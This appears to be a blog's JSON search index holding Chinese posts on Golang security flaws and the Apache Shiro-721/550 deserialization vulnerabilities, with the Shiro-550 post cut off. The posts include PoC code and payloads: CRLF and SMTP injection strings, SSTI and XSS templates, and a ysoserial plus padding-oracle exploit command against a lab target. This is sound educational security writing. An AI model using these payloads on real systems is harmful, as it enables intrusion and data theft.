-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.json
1 lines (1 loc) · 322 KB
/
index.json
1
[{"categories":["Notes"],"content":"一些Golang的安全问题。 ","date":"2021-11-30","objectID":"/golang_vuln_share/:0:0","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"前言 Golang 是一门强类型的语言,在代码中不使用 cgo 的情况下默认使用静态编译,在编译过程中就能杜绝许多安全问题,因此 Golang 会出现的一些安全问题经常是因为依赖库中的issues和开发者自身操作不当。本文将分享几个 Golang 开发中容易忽视的安全问题。 ","date":"2021-11-30","objectID":"/golang_vuln_share/:1:0","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"整数溢出 无符号整型的溢出: func main() { var a1 uint16 = 65535 var b1 uint16 = 1 var sum1 = a1 + b1 fmt.Println(reflect.TypeOf(sum1)) fmt.Println(sum1) //uint16 //0 } 如果开发者定义时直接赋值一个大小已经溢出的数,编译器会编译不通过 有符号数的溢出也是一样: func main() { var a2 int8 = 127 var b2 int8 = 1 var sum2 int8 = a2 + b2 fmt.Println(reflect.TypeOf(sum2)) fmt.Println(sum2) //int8 //-128 } 可以看到对127加1超出了int8的范围,翻转为了-128 在$GOROOT/src/math/const.go文件可以看到对范围的定义 在类型转换中,也会出现较大整型向较小整型转换的截断问题,Golang 是一种强类型语言,但是 Golang 提供了类型强制转换的功能,来跳过该限制 如: func main() { var a3 int16 = 256 var b3 = int8(a3) fmt.Println(b3) //0 } 旧版本的kubectl命令行中出现了一个strconv.Atoi导致的截断问题。当我们传入port参数的对应字符串后,容器启动的端口这一参数会将经Atoi处理后的字符串进行int32的类型转换。由于64位系统的int是int64类型。转int32的话会出现明显截断: v , _ := strconv.Atoi(\"4294967377\") s := int32(v) fmt.Println(s) // 81 这样就有可能导致81端口的服务启动,或者被停止。 小结: 溢出问题一般会出现在开发者对数进行加减乘除操作等其他转换操作,如果开发者没有注意该整数定义的类型,对其操作超过了范围,就会出现无法预料的bug或者是安全漏洞 ","date":"2021-11-30","objectID":"/golang_vuln_share/:2:0","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"伪随机数 伪随机数,是使用一个确定性的算法计算出来的似乎是随机的数序,因此伪随机数实际上并不随机,只要用于计算的种子值相同,计算出来的伪随机数就相同,所以正常使用中开发者一般会使用当前时间作为种子值,但是仍然存在被猜测爆破的风险 func main() { fmt.Println(rand.Int()) } //5577006791947779410 //https://play.golang.org/ =\u003e 5577006791947779410 我们在https://golang.google.cn/pkg/math/rand/#Seed可以看到,Golang 官方库math/rand生成种子值默认为1,如果用户不指定种子值,则默认使用1作为种子 如果开发者使用的种子值信息泄漏了,也会被恶意攻击者利用导致一些安全问题,例如gin框架中开发者使用伪随机数作为cookie的key值,如果种子值被泄漏,则会导致攻击者本地生成cookie,越权攻击 小结: 在开发中使用伪随机数时应注意种子值的修改,如果我们的应用对安全性要求比较高,需要使用真随机数的话,可以使用crypto/rand 包中的方法 ","date":"2021-11-30","objectID":"/golang_vuln_share/:3:0","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"Windows 非可信目录路径查找 CVE-2021-3115 该漏洞是由日本安全研究人员RyotaK发现的,属于命令注入漏洞。漏洞产生的根本原因是用户运行go get命令来提取库时编译过程的工作原理造成的。 在Windows 命令窗口输入netstat,Windows就会在当前目录中搜索netstat.exe、netstat.bat或其他netstat.*可执行文件,这些搜索到的文件会优先执行,如果当前目录中不存在 netstat 相关的可执行文件,那么Windows shell就会查找 netstat 系统工具,该系统工具位于 Windows %PATH% 变量中。 为了保持一致性,Golang 二进制文件在Unix 系统中效仿了Unix 规则,在Windows 系统中效仿了Windows 规则。也就是说,运行下面的命令在Unix系统和Windows 系统中会产生不同的行为: out, err := exec.Command(\"go\", \"version\").CombinedOutput() 在Windows 系统中,本地的Go二进制文件优先级高,而Unix 系统中会首先搜索$PATH变量来确认其可信位置中是否存在 Go 二进制文件。 这种优先本地、非可信目录的方法也在Go helper和编译器中实现了,比如为调用C语言代码生成Go包的工具:cgo。 Cgo在Windows系统中编译C代码时,Golang可执行文件首先会在非可信的本地目录中搜索GCC编译器。Cgo运行的go命令会包含包资源。因此,攻击者可以利用cgo来启动恶意的gcc.exe程序。 ","date":"2021-11-30","objectID":"/golang_vuln_share/:4:0","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"SSTI Golang的html/template包提供模板渲染的功能,当源码中出现用户可控且直接拼接渲染时会出现模板注入的漏洞,轻则造成信息泄漏,严重的可能会出现rce等 一个demo: package main import ( \"encoding/base64\" \"fmt\" \"html/template\" \"io/ioutil\" \"net/http\" ) type User struct { ID int Email string Password string Image string } func ShowImg(img string) string { b, err := ioutil.ReadFile(img) if err != nil { fmt.Print(err) } imgb64 := base64.StdEncoding.EncodeToString(b) return imgb64 } func main() { var u = \u0026User{1, \"test@gmail.com\", \"test#123\", \"test.jpg\"} http.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) { var tmpl = fmt.Sprintf(` \u003chtml\u003e \u003chead\u003e \u003ctitle\u003eSSTI\u003c/title\u003e \u003c/head\u003e \u003ch1\u003eSSTI Research\u003c/h1\u003e \u003ch2\u003eNo search results for %s\u003c/h2\u003e \u003ch2\u003e Hi {{.Email}}\u003ch2\u003e \u003cimg src=\"data:image/png;base64,{{showimg.Image}}\"/\u003e \u003c/html\u003e`, r.URL.Query()[\"q\"][0]) t, err := template.New(\"page\").Funcs(template.FuncMap{\"showimg\": ShowImg}).Parse(tmpl) if err != nil { fmt.Println(err) } t.Execute(w, \u0026u) }) http.ListenAndServe(\":10000\", nil) } 这里我实现了一个函数func ShowImg(img string)用于动态展示图片,并且模板渲染的参数直接拼接且用户可控,所以这里会造成任意文件读取漏洞,所以开发时要注意自定义的渲染函数可能存在被利用的情况 我们还可以利用{{.}}来泄漏信息: 除了这些,当存在SSTI时,我们还可以进行XSS: 参考:https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html {{define \"T1\"}}\u003cscript\u003ealert(1)\u003c/script\u003e{{end}} {{template \"T1\"}} ","date":"2021-11-30","objectID":"/golang_vuln_share/:5:0","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"net 在官方issues中,net相关库的安全问题比较多,这里找几个典型的在开发中容易忽视的安全问题介绍 ","date":"2021-11-30","objectID":"/golang_vuln_share/:6:0","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"CRLF注入 CVE-2019-9741 issues: https://github.com/golang/go/issues/30794 测试代码: //go version go1.11.5 package main import ( \"fmt\" \"net/http\" ) func main() { client := \u0026http.Client{} host := \"172.17.0.1:20000?a=1 HTTP/1.1\\r\\nX-injected: header\\r\\nTEST: 123\" // host := \"127.0.0.1\" url := \"http://\" + host + \":8080/test/?test=a\" request, err := http.NewRequest(\"GET\", url, nil) if err != nil { fmt.Println(err.Error()) } resp, err := client.Do(request) if err != nil { fmt.Println(err.Error()) } resp.Body.Close() } 监听接收结果: $ nc -lvnp 20000 Listening on 0.0.0.0 20000 Connection received on 172.17.0.2 48140 GET /?a=1 HTTP/1.1 X-injected: header TEST: 123:8080/test/?test=a HTTP/1.1 Host: 172.17.0.1:20000 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip 可以发现我们利用\\r\\n换行成功控制注入到header字段,我们可以利用此攻击内网中的redis、memcached等应用 这个漏洞只在特定版本存在,开发时注意版本即可 ","date":"2021-11-30","objectID":"/golang_vuln_share/:6:1","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"header CRLF注入 issues: https://github.com/golang/go/issues/47711 碰巧注意到最近有人在issues提交了header中允许换行符的安全问题,golang官方给其添加上了security标签,但是实际上我觉得在实战中几乎不会出现header头用户可控的情况,来看看demo: func main() { ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Header().Set(\"Foo\", \"Bar\") w.Header().Set(\"Xxx: xxxx\\nSmuggle\", \"smuggleval\") })) res, err := http.Get(ts.URL) if err != nil { log.Fatal(err) } res.Write(os.Stdout) fmt.Printf(\"%v\", res.Header) } // HTTP/1.1 200 OK // Date: Thu, 02 Sep 2021 09:07:13 GMT // Foo: Bar // Smuggle: smuggleval // Xxx: xxxx // Content-Length: 0 // map[Content-Length:[0] Date:[Thu, 02 Sep 2021 09:07:13 GMT] Foo:[Bar] Smuggle:[smuggleval] Xxx:[xxxx]] 提交者给了一个示例,使用两个换行导致其余的header变成body部分,再加上构造的xss payload,可以逃逸header到body触发xss func main() { http.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) { headerName := r.URL.Query().Get(\"name\") headerValue := r.URL.Query().Get(\"value\") w.Header().Set(headerName, headerValue) fmt.Fprintf(w, \"Hello World\") }) fmt.Printf(\"Starting server at port 3000\\n\") if err := http.ListenAndServe(\":3000\", nil); err != nil { log.Fatal(err) } } //http://localhost:3000/?name=%0a%0a%3Chtml%3E%3Cscript%3Ealert(%27have%20fun%27)%3C/script%3Easd\u0026value=a%0aasd 官方的修复方案是给header加了过滤: ","date":"2021-11-30","objectID":"/golang_vuln_share/:6:2","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"ip前导0解析问题 CVE-2021-29923 issues: https://github.com/golang/go/issues/30999 影响版本:Golang \u003c 1.17 近日,研究人员在DEF CON大会介绍了Go中的net模块安全漏洞。漏洞CVE编号为CVE-2021-29923,漏洞产生的原因是net处理混合格式的IP地址方式上存在问题,即当数字IPv4地址中以0开头时会触发漏洞。 在net库中,所有IP地址开头的0都会被移除和丢弃。根据IETF的原始说明,如果IPv4地址的前缀有0,那么可以理解为是八进制。但是Golang的net模块忽略了这一点,并将其作为十进制数来处理。 因此,如果开发者使用net库来验证IP地址是否属于某个特定的范围,比如访问控制列表ACL中的IP列表,结果可能就会出现错误。 我们先来看看ping程序对含有前导0的ip解析: $ ping -c 4 0177.0.0.1 PING 0177.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.084 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.106 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.158 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.081 ms --- 0177.0.0.1 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 0.081/0.107/0.158/0.031 ms 可以发现,ping程序将0177作为八进制,转换为十进制后就是127,所以最后解析为127.0.0.1 再来看 Golang 对含有前导0的处理demo: func main() { var input = \"0127.0.0.1\" var addr = net.ParseIP(input) fmt.Println(\"input: \", input, \" result: \", addr) client := \u0026http.Client{ Timeout: 2 * time.Second, } req, err := http.NewRequest(\"GET\", \"http://\"+input, nil) if err != nil { fmt.Println(err) } resp, err := client.Do(req) if err != nil { fmt.Println(err.Error()) } defer resp.Body.Close() } // input: 0127.0.0.1 result: 127.0.0.1 // Get \"http://0127.0.0.1\": dial tcp 127.0.0.1:80: connect: connection refused Goalng net/http库中对于ip解析或请求的函数都受其影响 可以看到,Golang对前导0直接采用忽略的方式,而ping将其当作八进制处理,这样的差异可能会导致一些安全问题 ","date":"2021-11-30","objectID":"/golang_vuln_share/:6:3","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"FileServer对Range头错误解析 issues: https://github.com/golang/go/issues/40940 影响版本:Golang \u003c 1.16 net/http包中提供了展示静态资源的文件服务器FileServer,Range头经常用于断点续传技术中,但是Range是有一定范围和规范的,如果未对传入的Range进行验证,可能会导致不可预料的安全问题 在 Golang 中启动一个静态文件服务器的demo: package main import \"net/http\" func main() { http.Handle(\"/\", http.FileServer(http.Dir(\"/tmp\"))) http.ListenAndServe(\":3000\", nil) } 加上不符合规则的Range头后请求: $ curl -v -H 'Range: bytes=--2' localhost:8081/go * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 8081 (#0) \u003e GET /go HTTP/1.1 \u003e Host: localhost:8081 \u003e User-Agent: curl/7.64.1 \u003e Accept: */* \u003e Range: bytes=--2 \u003e \u003c HTTP/1.1 206 Partial Content \u003c Accept-Ranges: bytes \u003c Content-Range: bytes 475-472/473 \u003c Content-Type: text/plain; charset=utf-8 \u003c Last-Modified: Wed, 22 Sep 2021 07:01:01 GMT \u003c Date: Wed, 22 Sep 2021 07:22:05 GMT \u003c Transfer-Encoding: chunked \u003c * Connection #0 to host localhost left intact * Closing connection 0 可以看到服务端返回了正常响应,错误的解析了Range头Content-Range: bytes 475-472/473,并没有报任何错误,而正常来说对于错误的Range头返回应该是这样的: $ curl -v -H 'Range: bytes=a' localhost:8081/go * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 8081 (#0) \u003e GET /go HTTP/1.1 \u003e Host: localhost:8081 \u003e User-Agent: curl/7.64.1 \u003e Accept: */* \u003e Range: bytes=a \u003e \u003c HTTP/1.1 416 Requested Range Not Satisfiable \u003c Content-Type: text/plain; charset=utf-8 \u003c Last-Modified: Wed, 22 Sep 2021 07:01:01 GMT \u003c X-Content-Type-Options: nosniff \u003c Date: Wed, 22 Sep 2021 07:38:11 GMT \u003c Content-Length: 14 \u003c invalid range * Connection #0 to host localhost left intact * Closing connection 0 解析Range头的实现在$GOROOT/src/net/http/fs.go的parseRange函数 该parseRange函数获取Range标题,从中删除bytes=前缀并将其用\",\"字符拆分。稍后,对于每个拆分字符串或更确切地说是“范围”,它会将其进一步对\"-\"进行拆分,然后检索start和end值。 当只有一个值时,start是一个空字符串。然后程序转到第一个分支并end通过ParseInt(end, 10, 64)调用解析值。 举个例子,如果我们传递bytes=--2Range 标头,我们最终会得到start=\"\", end=\"-2\"字符串,然后end通过ParseInt(end, 10, 64)调用-2int64 值来解析。 官方的修复是在调用ParseInt函数前加上判断是否为负数,不符合规则就报错 由此issue还衍生出了一个题目:https://ctftime.org/task/14632 题目实现了一个静态资源服务,利用go-FileServer对Range头的解析差异进行攻击。 ","date":"2021-11-30","objectID":"/golang_vuln_share/:6:4","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"HTTP/2拒绝服务漏洞 CVE-2019-9512 \u0026\u0026 CVE-2019-9514 issues: https://github.com/golang/go/issues/33606 net/http并golang.org/x/net/http2接受来自不可信的客户端直接连接的服务器可以远程作出分配的内存无限量,直到程序崩溃。 这是一个HTTP/2的自身漏洞,攻击者可能会导致服务器排队无限数量的 PING、ACK 或 RST_STREAM 帧通过请求它们而不读取它们,直到程序内存不足导致拒绝服务,在Golang的某些特定版本中会出现。 ","date":"2021-11-30","objectID":"/golang_vuln_share/:6:5","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"HTTP_PROXY安全问题 CVE-2016-5386 httpoxy是一组影响在 CGI 或类 CGI 环境中运行的应用程序代码的漏洞。 详细参考:https://httpoxy.org/ 漏洞成因: CGI 规范定义传入请求标头Foo: Bar映射到环境变量 HTTP_FOO == \"Bar\"。(见 RFC 3875 4.1.18) HTTP_PROXY 环境变量通常用于为 HTTP 客户端配置 HTTP 代理(Go 的 net/http.Client 和 Transport 默认遵守) 这意味着在 CGI 环境中运行的 Go 程序(作为 CGI 主机下的子进程)容易受到包含Proxy:attacker.com:1234的传入请求的攻击,设置 HTTP_PROXY,并更改默认情况下 Go 代理所有出站 HTTP 请求的代理。 官方修复是直接弃用了CGI模式下的HTTP_PROXY标头的设置: 官方的poc:https://github.com/httpoxy/go-httpoxy-poc ","date":"2021-11-30","objectID":"/golang_vuln_share/:6:6","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"SMTP注入 issues: https://github.com/golang/go/issues/21159 影响版本:Golang \u003c 1.10 在受影响的版本中,net/smtp 库中的一些函数对接收者邮件地址未做过滤处理,导致可以利用CRLF注入进行修改邮件正文,一个简单的demo如下: package main import ( \"log\" \"net/smtp\" ) func main() { to := []string{\"recipient@example.net\u003e\\r\\nDATA\\r\\nInjected message body\\r\\n.\\r\\nQUIT\\r\\n\"} msg := []byte(\"To: recipient@example.net\\r\\n\" + \"Subject: discount Gophers!\\r\\n\" + \"\\r\\n\" + \"Real message body\\r\\n\") err := smtp.SendMail(\"localhost:25\", nil, \"sender@example.org\", to, msg) if err != nil { log.Fatal(err) } } 官方的修复是对SendMail、Rcpt和Mail等受影响的函数增加了换行符过滤: ","date":"2021-11-30","objectID":"/golang_vuln_share/:6:7","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"ReadRequest栈溢出 CVE-2021-31525 issues: https://github.com/golang/go/issues/45710 ReadRequest 和 ReadResponse 在读取非常大的标头(在 64 位架构上超过 7MB,或在 32 位架构上超过 4MB)时会遇到不可恢复的panic。 服务默认情况下不易受到攻击,但如果通过设置Server.MaxHeaderBytes为更高的值来覆盖默认的最大标头 1MB,则会受到堆栈溢出导致崩溃或拒绝服务。 ","date":"2021-11-30","objectID":"/golang_vuln_share/:6:8","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"CGI/FCGI XSS漏洞 CVE-2020-24553 issues: https://github.com/golang/go/issues/40928 当处理程序没有明确设置 Content-Type 标头时,CGI 和 FCGI 实现都默认为text/html。 如果攻击者可以让服务器在他们的控制下生成内容(例如包含用户数据的 JSON 或上传的图像文件),这可能会被服务器错误地返回为text/html。如果受害者访问这样的页面,他们可能会在服务器源的上下文中执行攻击者的恶意JavaScript代码。 利用参考:https://www.redteam-pentesting.de/en/advisories/rt-sa-2020-004/-inconsistent-behavior-of-gos-cgi-and-fastcgi-transport-may-lead-to-cross-site-scripting ","date":"2021-11-30","objectID":"/golang_vuln_share/:6:9","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Notes"],"content":"Reference https://github.com/golang/go/issues/34540 https://github.com/golang/go/issues/40928 https://github.com/golang/go/issues/43783 https://github.com/golang/go/issues/12741 https://github.com/golang/go/issues/47711 https://github.com/golang/go/issues/30794 https://github.com/golang/go/issues/30999 https://github.com/golang/go/issues/40940 https://github.com/golang/go/issues/33606 https://github.com/golang/go/issues/16405 https://github.com/golang/go/issues/21159 https://github.com/golang/go/issues/45710 https://httpoxy.org/ https://www.bleepingcomputer.com/news/security/google-fixes-severe-golang-windows-rce-vulnerability/ ","date":"2021-11-30","objectID":"/golang_vuln_share/:7:0","tags":["Golang"],"title":"Golang安全问题分享","uri":"/golang_vuln_share/"},{"categories":["Vulnerability Analysis"],"content":"对shiro-721漏洞的简单分析及poc利用分析 Shiro-721漏洞分析(CVE-2019-12422) ","date":"2021-09-09","objectID":"/shiro_721_analysis/:0:0","tags":["Java","shiro"],"title":"Shiro-721漏洞分析(CVE-2019-12422)","uri":"/shiro_721_analysis/"},{"categories":["Vulnerability Analysis"],"content":"漏洞简介 官方issues:https://issues.apache.org/jira/browse/SHIRO-721 Apache Shiro 1.4.2 之前的版本默认使用 AES/CBC/PKCS5Padding 模式加密,开启 RememberMe 功能的Shiro组件将允许远程攻击者构造序列化数据,攻击者可以在已有的正常登陆的 Cookie rememberMe 值的基础上根据 Padding Oracle Attack 的原理来爆破构造出恶意的 rememberMe 字段,实施反序列化攻击。 ","date":"2021-09-09","objectID":"/shiro_721_analysis/:1:0","tags":["Java","shiro"],"title":"Shiro-721漏洞分析(CVE-2019-12422)","uri":"/shiro_721_analysis/"},{"categories":["Vulnerability Analysis"],"content":"影响版本 1.2.5 \u003c= Apache Shiro \u003c 1.4.2 ","date":"2021-09-09","objectID":"/shiro_721_analysis/:2:0","tags":["Java","shiro"],"title":"Shiro-721漏洞分析(CVE-2019-12422)","uri":"/shiro_721_analysis/"},{"categories":["Vulnerability Analysis"],"content":"环境搭建 直接使用shiro官方的samples-web进行分析 $ git clone https://github.com/apache/shiro.git $ cd ./shiro # 恢复到shiro-1.4.1版本 $ git checkout shiro-root-1.4.1 然后将samples/web打包丢到tomcat运行 ","date":"2021-09-09","objectID":"/shiro_721_analysis/:3:0","tags":["Java","shiro"],"title":"Shiro-721漏洞分析(CVE-2019-12422)","uri":"/shiro_721_analysis/"},{"categories":["Vulnerability Analysis"],"content":"漏洞分析 漏洞复现步骤: 登录网站并且获取 RememberMe Cookie 值 使用 RememberMe Cookie 值来作为 Padding Oracle Attack 的前缀 通过 Padding Oracle Attack 的攻击方式精心构造可利用的反序列化数据 将构造好的反序列化数据填充到 RememberMe Cookie 字段中并发送,即可在目标服务器上执行任意代码. shiro-721可以不获取加密密钥key值,通过 Padding Oracle Attack 构造能通过验证的 rememberMe 值,然后触发反序列化,但是需要一个有效的 rememberMe 值才能进行攻击利用,所以利用面不算大 有以下几个点需要知道: CBC 加密模式:将明文切分成若干小段,然后每一段分别与上一段的密文进行异或运算,再与密钥进行加密,生成本段明文的密文,这段密文用于下一段明文的加密。第一段明文没有对应的密文 , 为了确保分组的唯一性,CBC 加密模式使用了初始化向量( IV , Initialization Vector )。初始化向量是一个固定长度的随机数,该向量会作为密文第一个块,随密文一同传输 利用 Padding Oracle Attack 的前提是这里shiro接收的 rememberMe 值如果可以正确解析,就不会返回 deleteMe ,解析失败则返回 deleteMe Java原生反序列化是按照指定格式来读取序列化数据的,而ObjectOutputStream是一个对象操作流,其会按格式以队列方式读下去,也就是说在正常的序列化数据后面继续添加一些数据是不会影响反序列化操作的 AES/CBC/PKCS5Padding: 以完整字节填充 , 每个填充字节的值是用于填充的字节数 . 即要填充 N 个字节 , 每个字节都为 N. 例:使用 PKCS5Padding 方式填充 3 个字节 : | AA BB CC DD EE 03 03 03 | 在 Apache Shiro 中默认使用 CBC 加密模式与 PKCS5Padding 填充方式, CBC 加密模式容易遭到 Padding Oracle Attack,攻击者可以通过枚举 IV 的方式计算出全部明文,并且可以通过 CBC Byte-Flipping Attack 篡改某一段的明文 在每个Block解密后,会异或“前一个密文Block”,得到明文,若最后1个解密出的明文padding填充值错误,会导致解密不成功,报错 攻击者可以通过不断改变“前一个Block”,改变“后1个Block密文”的明文。通过返回结果,来判断解密是否成功。进而获取“后一个Block”解密出的“MediumValue”,得到“MediumValue”就能解密密文,加密明文。大于2组的密文,攻击者可以按规则选取其中2组block进行尝试,从而达到加密解密所有Block的效果 利用 Padding Oracle Attack,我们已经可以得知明文对应的密文以及密文对应的明文,相当于知道了key值,我们又知道在 CBC 加密模式中,第 n 个密文分组可以影响第 n+1 个明文分组,那我们已经知道了密文对应的明文,这里修改第 n 个密文分组,就相当于控制第 n+1 个明文分组 CBC字节翻转攻击的原理 : 通过损坏密文字节来改变明文字节 于是我们可以利用CBC字节翻转攻击,即可构造我们的恶意数据,在数据解密后通过验证,执行反序列化时触发我们的恶意数据 复现可以使用https://github.com/inspiringz/Shiro-721这个exp 先登录获取正常的rememberMe值,然后利用exp进行爆破,这里用的是urldns的链,数据越短,爆破时间越短,大概爆破了1分钟左右就有了 $ java -jar ysoserial.jar URLDNS \"7xmxkf.dnslog.cn\" \u003e urldns.ser $ python2 shiro_exp.py http://localhost:8081/samples_web_war_141/account/ xCKD5USpoOeldd+0q1GW1JtommZvz8/SHxg03t59L1f5qiJRgZ/rzuKHmzhPixuFYTjx6/ET3eLYPjoskQKsrSbnvGe9NoHOgy1n7/aFTQOOMCeifyFPOTucmKhzZgJMrRX/DYOprvI+cpqS0ZEhX1yiOoKvoZTMAURobpxOSsihhjyvjb9XhtOnLlxIY0xXP5Wvr5ooinqz+5h2KTQUwHlf7OLttKpFShAWmp+svx9u9IH/LG93QRXf435nes/lyAykYT+Lm+O+yOUM3uab0oMS2soykUUVKS6dGFOWyzFV84egw6dJeS6AvRzBjXv87ZjAsx2odrY1/izjf9i8JoJM+byV2zgNV2v/Y5kCcqWPQpc6j86X6OOKDtC8f10Xl5PnltcibrJpKOxMlQ4KSPYtN980DY9SQWQeZYnX8BVmuF1s0ZA0vu5sarPO7lDuVm0ULDH/vpUETBpya70LhBkrKI7bi7XlizWgVN5PRj3pP0s7mkF3L5nSxYRj4E6y urldns.ser ","date":"2021-09-09","objectID":"/shiro_721_analysis/:4:0","tags":["Java","shiro"],"title":"Shiro-721漏洞分析(CVE-2019-12422)","uri":"/shiro_721_analysis/"},{"categories":["Vulnerability Analysis"],"content":"Reference https://www.anquanke.com/post/id/192819 https://www.angelwhu.com/paper/2019/06/04/padding-oracle-an-introduction-to-the-attack-method-of-one-encryption-algorithm/ https://www.anquanke.com/post/id/193165 https://www.guildhab.top/2020/11/cve-2019-12422-shiro721-apache-shiro-rememberme-padding-oracle-1-4-1-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e-%e5%88%86%e6%9e%90-%e4%b8%8a/ https://github.com/inspiringz/Shiro-721 ","date":"2021-09-09","objectID":"/shiro_721_analysis/:5:0","tags":["Java","shiro"],"title":"Shiro-721漏洞分析(CVE-2019-12422)","uri":"/shiro_721_analysis/"},{"categories":["Vulnerability Analysis"],"content":"对shiro-550漏洞的简单分析及poc利用分析 ","date":"2021-09-08","objectID":"/shiro_550_analysis/:0:0","tags":["Java","shiro"],"title":"Shiro-550漏洞分析(CVE-2016-4437)","uri":"/shiro_550_analysis/"},{"categories":["Vulnerability Analysis"],"content":"漏洞简介 官方issues:https://issues.apache.org/jira/browse/SHIRO-550 Apache Shiro框架提供了记住我(RememberMe)的功能,功能表现为关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是: 获取rememberMe cookie -\u003ebase64 解码-\u003eAES解密(加密密钥硬编码)-\u003e反序列化(未作过滤处理)。 但是AES加密的密钥Key被硬编码在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化漏洞。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。 ","date":"2021-09-08","objectID":"/shiro_550_analysis/:1:0","tags":["Java","shiro"],"title":"Shiro-550漏洞分析(CVE-2016-4437)","uri":"/shiro_550_analysis/"},{"categories":["Vulnerability Analysis"],"content":"影响版本 Apache Shiro \u003c= 1.2.4 ","date":"2021-09-08","objectID":"/shiro_550_analysis/:2:0","tags":["Java","shiro"],"title":"Shiro-550漏洞分析(CVE-2016-4437)","uri":"/shiro_550_analysis/"},{"categories":["Vulnerability Analysis"],"content":"环境搭建 直接使用shiro官方的samples-web进行分析 $ git clone https://github.com/apache/shiro.git $ cd ./shiro # 恢复到shiro-1.2.4版本 $ git checkout shiro-root-1.2.4 打包前需要对./shiro/samples/web/pom.xml进行一些修改: \u003c!-- 需要设置编译的版本 --\u003e \u003cproperties\u003e \u003cmaven.compiler.source\u003e1.6\u003c/maven.compiler.source\u003e \u003cmaven.compiler.target\u003e1.6\u003c/maven.compiler.target\u003e \u003c/properties\u003e ... \u003cdependencies\u003e \u003cdependency\u003e \u003cgroupId\u003ejavax.servlet\u003c/groupId\u003e \u003cartifactId\u003ejstl\u003c/artifactId\u003e \u003c!-- 这里需要将jstl设置为1.2,添加如下一行 --\u003e \u003cversion\u003e1.2\u003c/version\u003e \u003cscope\u003eruntime\u003c/scope\u003e \u003c/dependency\u003e ..... \u003c!-- 这里添加CC3.2.1库是为了方便演示有依赖的反序列化RCE --\u003e \u003cdependency\u003e \u003cgroupId\u003ecommons-collections\u003c/groupId\u003e \u003cartifactId\u003ecommons-collections\u003c/artifactId\u003e \u003cversion\u003e3.2.1\u003c/version\u003e \u003cscope\u003eruntime\u003c/scope\u003e \u003c/dependency\u003e \u003cdependencies\u003e 导入IDEA,使用JDK1.8,然后打包成war包,丢到tomcat访问 ","date":"2021-09-08","objectID":"/shiro_550_analysis/:3:0","tags":["Java","shiro"],"title":"Shiro-550漏洞分析(CVE-2016-4437)","uri":"/shiro_550_analysis/"},{"categories":["Vulnerability Analysis"],"content":"漏洞分析 正常登录成功后,服务器返回给我们的cookie: Cookie: JSESSIONID=2DB46C11B68E9356AD7CD85D13939320; rememberMe=0d9UNwC8IBfeiQ0UW0AhezGrGbyithE7MSIt0eZkmaDbWE8h41Y6XvTgXctE7LGOjhFHA9wRF5/VpMtFv+7yn43aFu/GYEWc571cdu2brSPmZnX4YXEqe0iMWnBul6UM4xvvYdp0f3zKhoutCsLhqU4pOrggF4mngscltFgEbdBSYURiz1namedUwm/LUDxvWzA7Afnfj6RjcOAFQpiq+ddlJY+I/C+ibKzAlR7x4uwgMJIQl5x/C62hu1+HZeQM/D1DY8boVQUPvYppET12o1iZG+uzy+Fa9o/A0fEFViPz3DAWJCfpypsD+PAdrHkJ3+sZXUJ1zYyAvPr5ZjBADKoIKrFL61ijngfmupke7yDSNv/KIjGYNzjhUNIw1d35RBjqnx2hYvn7vV3ewNARK2uWKNP/ankncQcbgrhFbyln+FIMWLat/Vx5SQm2IKlopi8B4mBgt2WkLdWJtJlb6ySK7X2qprJN8ZT+awoUOFjlU+EeO+1fGFDxrD4qJpr9 后端会对rememberMe的值进行base64解码然后进行AES解密,我们来跟一下源码 